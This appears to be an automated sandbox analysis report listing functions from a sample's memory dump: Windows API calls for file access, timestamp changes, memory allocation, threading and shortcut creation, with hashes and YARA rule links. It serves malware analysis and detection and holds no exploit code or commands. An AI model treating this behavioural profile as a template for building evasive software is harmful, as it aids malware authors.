Instruction ID: 09ebe67ff45b08f81c36141d9c2dc2e417a159b47c448e0a3757dda97e47d19e
Opcode Fuzzy Hash: 161b1d3c566106e9ad65e75d5d4507556b29aa609190ea75727e2c569a68f83b
Instruction Fuzzy Hash: 8CF030351046529FC330DF69C584853F7E4EB59715721887FE1D6D36A2C674A880CB64

Function 0040D9F0 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 0040DA0B
GetLastError.KERNEL32(?,?,?,?), ref: 0040DA19

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: d304dccc413f9fbc2375b0c992bb18d0fa27bc648f40137314f68655dcdcf89d
Instruction ID: d86f9e507f4e039952bd1031b0dc001be1b0661bb6f0ed5f18f0f7cd7a7605a3
Opcode Fuzzy Hash: d304dccc413f9fbc2375b0c992bb18d0fa27bc648f40137314f68655dcdcf89d
Instruction Fuzzy Hash: FCF0B2B8A04208FFCB04CFA8D8448AE7BB9EB49314B2085A9F815A7390D735DA04DF64

Function 0040ECED Relevance: 3.0, APIs: 2, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040ED05
_CxxThrowException.MSVCRT(?,00415010), ref: 0040ED28

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: AllocExceptionStringThrow
String ID:
API String ID: 3773818493-0
Opcode ID: 34848b6f66320e7823decd545e24a334e79eeaa2350f65fc9219e56b57dd4bad
Instruction ID: 896a1b371a95ab63a3f889c911e7bff8eb1facf706b7c8fcc1dab20228dace7a
Opcode Fuzzy Hash: 34848b6f66320e7823decd545e24a334e79eeaa2350f65fc9219e56b57dd4bad
Instruction Fuzzy Hash: CDE06D71600309ABDB10AF66D8419D67BE8EF00380B00C83FF948CA250E779E590C7D9

Function 0040E73A Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040E745
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 0040E764

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 91dbafe27853da7d419d240d9f0ee1b362973845cd939a0bd3a75ec29d074311
Instruction ID: 086d926b78662e0ab04275255430a857868cdabe8091615e808f779c17768b54
Opcode Fuzzy Hash: 91dbafe27853da7d419d240d9f0ee1b362973845cd939a0bd3a75ec29d074311
Instruction Fuzzy Hash: 76F05436200214FBCB119F95DC08E9BBBB9FF49761F14842AF945E7260C771E821DBA4

Function 0040A7DE Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040A7E3

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e5321c9a15e7e390b560e3b31c2ad4413e862a9b2ae91dd544a8c0e33ade4a6e
Instruction ID: 39d544f4fee3d18347c8ea8d59cce7c7d4ef222c74644271f89bd24cd9d44c54
Opcode Fuzzy Hash: e5321c9a15e7e390b560e3b31c2ad4413e862a9b2ae91dd544a8c0e33ade4a6e
Instruction Fuzzy Hash: 4B2180316003099BCB14EFA5C945AAE73B5EF40344F14843EF806BB291DB38DD16CB1A

Function 0040120B Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 0040124F

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5adc5d60a7dd4af011d60b8927d5fbfdd00464e259639d1fcd3b0c23b8927a9d
Instruction ID: 5817d5120c2da98d16edaa91ace5ca285f5b3ff1e58b2ffd557e42fef7bfdc6e
Opcode Fuzzy Hash: 5adc5d60a7dd4af011d60b8927d5fbfdd00464e259639d1fcd3b0c23b8927a9d
Instruction Fuzzy Hash: 66F05E72100201DBC720AF98C840BA777F5BB84314F04483EE583F2AA0D778B885CB59

Function 0040DA56 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D985: CloseHandle.KERNELBASE(00000001,000000FF,0040DA61,00413330,?,0040DB39,L@,40000000,00000000,00000000,00000000,0040DB50,00000000,00000001,00000001,00000080), ref: 0040D990

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00413330,?,0040DB39,L@,40000000,00000000,00000000,00000000,0040DB50), ref: 0040DA78

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 08bceb1980caaee1328d4f84b7def86f7a2986f91a3075995b51455990be9560
Instruction ID: 040011ad7fb3de3f437c6c7e3ebc1dcda5640d8293b7e84d035d3e38099293ab
Opcode Fuzzy Hash: 08bceb1980caaee1328d4f84b7def86f7a2986f91a3075995b51455990be9560
Instruction Fuzzy Hash: A1E04F32140219ABCF215FA49C01BCA7B96AF09760F144526BE11A61E0C672D465AF94

Function 0040DB97 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,0040DD78,00000001,00000000,00000000,00413330,?,00404D94,?,?), ref: 0040DBBA

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3077b537328fed6cd21bdd98b87c61334e39a2b5a14a0e6e22fef2783c677b0b
Instruction ID: ec3d056ad33d5175d1bee219b94afd5900c8108b90431a53c6143dcb1d381838
Opcode Fuzzy Hash: 3077b537328fed6cd21bdd98b87c61334e39a2b5a14a0e6e22fef2783c677b0b
Instruction Fuzzy Hash: D7E0C275600208FBCB00CF95C801B9E7BBABB49755F10C069F918AA2A0D739AA10DF54

Function 0040653F Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 00406552

Part of subcall function 00406501: GetLastError.KERNEL32(00406563,00000000), ref: 004064F5

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ErrorLast_beginthreadex
String ID:
API String ID: 4034172046-0
Opcode ID: e5ca857e6cae9760b500a95e192be9ea992c298de85bf840c792a1269a380ec9
Instruction ID: fe95790bd269afcad05a26a3721163fc0b830ac61c9b3c5b6bbddf8a66cf2d64
Opcode Fuzzy Hash: e5ca857e6cae9760b500a95e192be9ea992c298de85bf840c792a1269a380ec9
Instruction Fuzzy Hash: 12D05EF6400208BFDF01DFE0DC05CAB3BADEB08204B004464FD05C2150E632DA108B60

Function 0040CC59 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040CC5E

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e8864bf39b3a1c941500cd6d38dedcba990c3b7db4eb5411aa9ab2a8414fad35
Instruction ID: 312fbe8762c42e8d4a239ae194adb86e93363bc1e5443e54fb58aca6058f63a2
Opcode Fuzzy Hash: e8864bf39b3a1c941500cd6d38dedcba990c3b7db4eb5411aa9ab2a8414fad35
Instruction Fuzzy Hash: 70D05EB2A04108FBE7109F85D946BEEFB78EB80399F10823FB506B1150D7BC5A0196AD

Function 0040DADC Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 0040DAF2

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 05e1a1911e5ec75f7d6758f34865a5827037a9c860dec67033daab0b9cfe5943
Instruction ID: c05821c64f4412cbb188b0f884d423eaa3d686fb1c941f6ac6705c8b1bb703da
Opcode Fuzzy Hash: 05e1a1911e5ec75f7d6758f34865a5827037a9c860dec67033daab0b9cfe5943
Instruction Fuzzy Hash: 58E0EC75211208FFDB01CF90CD01FDE7BBDFB49755F208058E90596160C7759A10EB54

Function 0040DB6A Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,0040DB94,00000000,00000000,?,0040123C,?), ref: 0040DB78

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: d3a1cd3220883f1d47adb6259c26a1719b9664e7d8bae69288c7dd66fbb4bdaa
Instruction ID: c6000770aa4fb4c72b4925fc402daec6625791e8065b7518697746b49206ca3e
Opcode Fuzzy Hash: d3a1cd3220883f1d47adb6259c26a1719b9664e7d8bae69288c7dd66fbb4bdaa
Instruction Fuzzy Hash: 40C04C3A199105FF8F020F70CD04C1ABBA2AB95722F10C918B199C4070CB328424EB02

Function 0040D89F Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000060,?,?,00000000,?,0040D96E,00000000,?,00000000,00000000,000000FF,?,00000001,?,?,?), ref: 0040D91A

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8955cc1b29c93d01701bbb2481471dd0eaf8a49c35f18cc8a7d41221c9f85a6f
Instruction ID: 1ceb60bf2594cd826c4dcd58ac8a3e75a9726935558582f6c117c88f0dd7e0c4
Opcode Fuzzy Hash: 8955cc1b29c93d01701bbb2481471dd0eaf8a49c35f18cc8a7d41221c9f85a6f
Instruction Fuzzy Hash: 4A219372A042858FCF30FF91D98096B77A5AF50358320853FE093732C1DA38AD49D75A

Function 0040F42D Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0040F446

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ad693850b0beb581ae9f70f91648a78de6b85f526a16152dd36665cc48ec9015
Instruction ID: 8ccd5c106adaedd21fdabd868c2a091acccb285e2c6396e7c66228af9079aab7
Opcode Fuzzy Hash: ad693850b0beb581ae9f70f91648a78de6b85f526a16152dd36665cc48ec9015
Instruction Fuzzy Hash: 68E0ED311087008BEB74DA38A941F97B3DAAB14314F15893FE89AE7690EB74FC448A59

Function 00402F6C Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,004044E9,?,?,?,?,?,?,?,?,?,?,00000000,00000020,?), ref: 00402F71

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: a7abc97568459436273e1f083447e626332fd1c69ee6784c82a7404474e7416c
Instruction ID: 194059228ff5733793a196764ebf5a0b63d959e09992ce12dff2d54d27d13516
Opcode Fuzzy Hash: a7abc97568459436273e1f083447e626332fd1c69ee6784c82a7404474e7416c
Instruction Fuzzy Hash: 67D0A9313083121ADA5432320A09AAF84848B503A0F10083FB800A32D1DCBE8C81A299

Function 0040D985 Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000001,000000FF,0040DA61,00413330,?,0040DB39,L@,40000000,00000000,00000000,00000000,0040DB50,00000000,00000001,00000001,00000080), ref: 0040D990

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5a1e794e604a6db35733be3680912b24c50de2529967425d082228c541f5af6f
Instruction ID: 71cfb53d0268b44c797f7400575dcc0518408263689e7c465582b3111ebcfb94
Opcode Fuzzy Hash: 5a1e794e604a6db35733be3680912b24c50de2529967425d082228c541f5af6f
Instruction Fuzzy Hash: 95D0127251422156CF646E7CB8849C277D85A06334335176AF0B4E32E4D3749DCB5698

Function 004024C4 Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,0040E4D6,00020000,00000000,?,00000000,?,0040D92B,?,?,00000000,?,0040D96E), ref: 004024E0

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 076169c5b403ddfe74b0b9752022086d8412a0b80d08fe31e2627fee67d73aef
Instruction ID: 23ad038ad5ccaf642d49e1102795c1c714580f299e31bec6e074b0e2bc220d86
Opcode Fuzzy Hash: 076169c5b403ddfe74b0b9752022086d8412a0b80d08fe31e2627fee67d73aef
Instruction Fuzzy Hash: D3C080301443007DED115F505E06B463A916B44717F508065F344540D0C7F484009509

Function 00401B1F Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,0040E561,?,00000004,0040E5B0,?,?,004117E5,?), ref: 00401B2A

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 727c456c664ec040fae2a494910ef8e866b16c48e489126d85a402f0e100615f
Instruction ID: 5381ed20748db0b7fd93371e38984c83fa4171db9cf80dc6a42123bab5888d64
Opcode Fuzzy Hash: 727c456c664ec040fae2a494910ef8e866b16c48e489126d85a402f0e100615f
Instruction Fuzzy Hash: 45A002305446007ADE515B10DD05F457F516744B11F20C5547155540E586755654DA09

Function 0040F3FC Relevance: 1.3, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0040F400

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d9246d09a93a321ccd45a7f77b4b3a05b9734a8e70a1dc2b954ba7e43b8076d7
Instruction ID: 7baee4be7330d58fba6a4d3e6254b3dabd4481adb37f3967e502ba2394f26960
Opcode Fuzzy Hash: d9246d09a93a321ccd45a7f77b4b3a05b9734a8e70a1dc2b954ba7e43b8076d7
Instruction Fuzzy Hash:

Non-executed Functions

Function 004034C1 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 004034E5
SHGetSpecialFolderPathW.SHELL32(00000000,?,CC5BE863,00000000,004177A0,00000000,00417794), ref: 00403588
??3@YAXPAX@Z.MSVCRT(?,?), ref: 004035F9
??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 00403601
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00403609
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 00403611
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00403619
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00403621
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403629
_wtol.MSVCRT ref: 0040367F
CoCreateInstance.OLE32(00414BF4,00000000,00000001,00414BE4,00404F9B,.lnk,?,0000005C), ref: 00403720
??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 004037B8
??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 004037C0
??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 004037C8
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 004037D0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 004037D8
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 004037E0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 004037E8
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 004037EE
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 004037F6

Strings

.lnk, xrefs: 004036FF

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk
API String ID: 408529070-24824748
Opcode ID: cb1a116a375c0276f3cc47ebae34f017b071fc5c88c5a353f484599fe5934efa
